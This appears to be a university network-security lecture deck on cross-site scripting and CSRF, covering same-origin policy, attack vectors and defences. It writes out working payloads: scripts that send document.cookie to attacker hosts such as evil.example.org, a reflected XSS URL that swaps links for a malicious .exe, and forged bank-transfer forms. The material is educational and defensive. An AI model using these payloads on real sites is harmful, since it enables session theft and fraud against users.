EECS 354
Network Security
Cross Site Scripting (XSS)
Web Application Design
Modern web pages are complex
Server side
Web servers, backend code, databases
Client side
Web browsers parse HTML, execute Javascript
Rich content: Java applets, Flash objects
Web Application Security
Server side attacks
Attacking the host server to steal data, even root
a box
SQL injection to read arbitrary database
information
Shell attacks, direct object reference, directory
traversal, and more
Client side attacks
Web Application Security
Server side attacks
Client side attacks
Exploiting users’ trust in their browser
Javascript attacks on other clients
Cross-Site Scripting (XSS)
Cross-Site Request Forgery (CSRF)
Browser Basics
Document Object Model (DOM)
An interface to access HTML elements
dynamically
Commonly referenced in Javascript
Very powerful
Readable and writable
Document Object Model
Document Object Model
A few common tools:
document.GetElementsBy*
Returns list of elements with a particular property
document.cookie
Read cookies associated with current document
window.location
Read/write document location
<element>.innerHTML
Read/write an element’s HTML content
Same Origin Policy
Working with iframes
A parent window can get a reference to a
frame’s document
var x = document.getElementById("myframe");
var y = x.contentDocument;
document.write(y.cookie);
How is this safe for something like <iframe
src=“http://www.twitter.com”>?
Demo
Same Origin Policy
•
The Same Origin Policy (SOP) protects
against certain Javascript attacks
•
•
Servers can’t read DOM objects across domains
•
Must share scheme, hostname, and port
Example: http://www.example.com
•
•
http://www.example.com/dir/page.html - Success
http://www.attacker.com/dir/page.html - Failure
Same Origin Policy
•
Prevents an attack like the following:
•
•
•
•
User visits example.com and starts a session
User visits malicious.com
malicious.com creates an invisible iframe for
example.com
malicious.com can access document.cookie and
HTML content of example.com without the user’s
permission
Cross Origin Resource
Sharing (CORS)
•
•
•
•
•
Cross Origin Resource Sharing is an explicit
exception to the Same Origin Policy
Allows DOM access across domains through
explicit header
For example, logging into Gmail can also log
into the embedded Google Chat
Implemented through header
Access-Control-Allow-Origin:
http://mail.google.com
XSS Basics
Session Stealing
Advanced XSS Injection
Preventing XSS
CSRF
Introduction
Example
A message board has a XSS vulnerability in the
message posting
A hacker posts a message that contains
malicious Javascript code to send passwords to
a server
When a user visits an exploited page, that user’s
password is sent to the hacker
The Vulnerability
Pages that are susceptible to XSS attacks
often allow users to add content to the page
Simple attack vectors: webblog comments,
message board posting, adding to a wiki
Add the following content
<script type="text/javascript">
alert('vulnerable');
</script>
The Vulnerability
Javascript can be extremely dangerous
Access to cookies, HTML, and all of the DOM
Allows privacy leakage or cookie stealing
Redirect to arbitrary pages, cache
poisoning for persistence
Browsers are not always secure
Javascript attacks can lead to full remote code
execution through browser vulnerabilities
What to do
Pages that are vulnerable aren’t helpful
unless there’s valuable information to retrieve
The most common and easy to steal
information is the user’s cookie
With a stolen cookie, you’ll often be able to log in
as the user using their session
XSS Basics
Session Stealing
Advanced XSS Injection
Preventing XSS
CSRF
Cookies
A cookie is data stored on the client that is
persistent through requests
You log in to access your email
(http://u.northwestern.edu/)
The server validates your user name and
password then sets a cookie
Your browser will send this cookie with
subsequent requests to automatically validate
your credentials
Sessions
Sessions allow websites to retain information
about a user
Session cookies are stored on the client side
Contains a unique hash which on the server
side refers to a specific account
Session cookies should have a short
expiration to mitigate attacks
Stealing Cookies
Use the DOM
<script type="text/javascript">
document.location='http://myserver/savecookie/?cookie='+document.cookie;
</script>
The browser is redirected to another server
that saves the cookie
This is very obvious to the user
Stealing Cookies
How to steal info without user knowing
Simple to do with XMLHttpRequest
var req = new XMLHttpRequest();
req.open('GET', 'http://www.example.com/?cookie=‘ +
document.cookie, false);
req.send();
req.responseText; // the response
XMLHttpRequests are also subject to SOP
Restricts reading the response for a cross
domain request
Stealing Cookies
How to steal info without user knowing
Or, an image tag:
<script>
document.write(“<img
src=\”http://evil.example.org/steal.php?cookie=\”
+ encodeURI(document.cookie); />”)
</script>
XSS Basics
Session Stealing
Advanced XSS Injection
Preventing XSS
CSRF
Attack Vectors
Browsers have extremely complicated ways of
parsing and rendering a webpage
Makes the process open to security holes
A standard XSS attack will simply inject script
tags into the page
There are several more advanced schemes
Stored vs Reflected
Stored (Persistent)
Attack stored on server
Becomes part of the website content
Affects all who visit the webpage
Like a forum post
Reflected (Non-persistent)
Attack not stored on server
A GET parameter used to render the page
Only affects users who use an malicious URL
Attack Vectors
OnLoad, OnError, etc
<img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);>
GET parameters
http://example.com/index.php?user=<script>alert(%22123%22)</script>
And a more malicious example...
http://example.com/index.php?user=<script>window.onload = function() {var
AllLinks=document.getElementsByTagName("a"); AllLinks[0].href =
"http://badexample.com/malicious.exe"; }</script>
XSS Basics
Session Stealing
Advanced XSS Injection
Preventing XSS
CSRF
Protecting against XSS
Firewalls ineffective
Ports 80 and 443 must be open
Sanitize user input
Do not allow <script></script> tags
Do not allow tags with Javascript attributes
Design sessions well
Password should not be recoverable from
cookies
Encoding Javascript
HTML Entity Encoding
< to &lt;
> to &gt;
“ to &quot;
Used for embedding special HTML
characters as text in the page
Rendered safely by the browser
HTML Attribute Encoding
Replaces characters that are not valid
inside HTML attributes
Specifically, '&', '<', and '”' are encoded
XSS Basics
Session Stealing
Advanced XSS Injection
Preventing XSS
CSRF
Cross Site Request Forgery
Websites use URLs to specify requests for an
action
Example
<img src="http://bank.example/withdraw?account=bob
&amount=1000000&for=mallory">
This image will cause any visitor to make a
request to the image source server
If bob has his cookie set, visiting a page with this
image will allow his account to authenticate and
execute the transaction
CSRF Requirements
A CSRF vulnerability requires:
No check of referrer header
Form submission with side-effects (the
transaction)
All necessary form inputs must be known
Victim must have an active session with
vulnerable site (session cookie)
This situation is common in practice
CSRF(POST)
In reality, no one is going to use HTTP GET
for this type of request
Risk still exists with HTTP POST
<form action=“http://bank.example/submit” type= “post”>
Name: <input type=“text” name=“trash” />
<input type=“hidden” value=”me” name=“to-account” />
<input type=“hidden” value=”victim” name=“from-account” />
<input type=“hidden” value=”1000” name=“amount” />
</form>
User must visit a malicious webpage
Malicious site executes CSRF attack on client
data at vulnerable site
Exploit does not require user input
Can use onload() attribute to execute without user
permission
CSRF Tokens
Need a CSRF Token
Random nonce (‘number used only once’) that is
unpredictable to users
CSRF tokens need to be linked with sessions
User-specific, only known to that user
XSS defeats CSRF tokens and other CSRF
protections
Backup Slides
Browser Plugins
•
•
Java, Flash player, Quicktime, ActiveX
Frequently targeted for attacks
•
•
Plugins extend the functionality of the web
browser
Compromise of a plugin is effectively a
compromise of the browser, allowing remote code
execution
•
Sandboxing can prevent this when implemented
effectively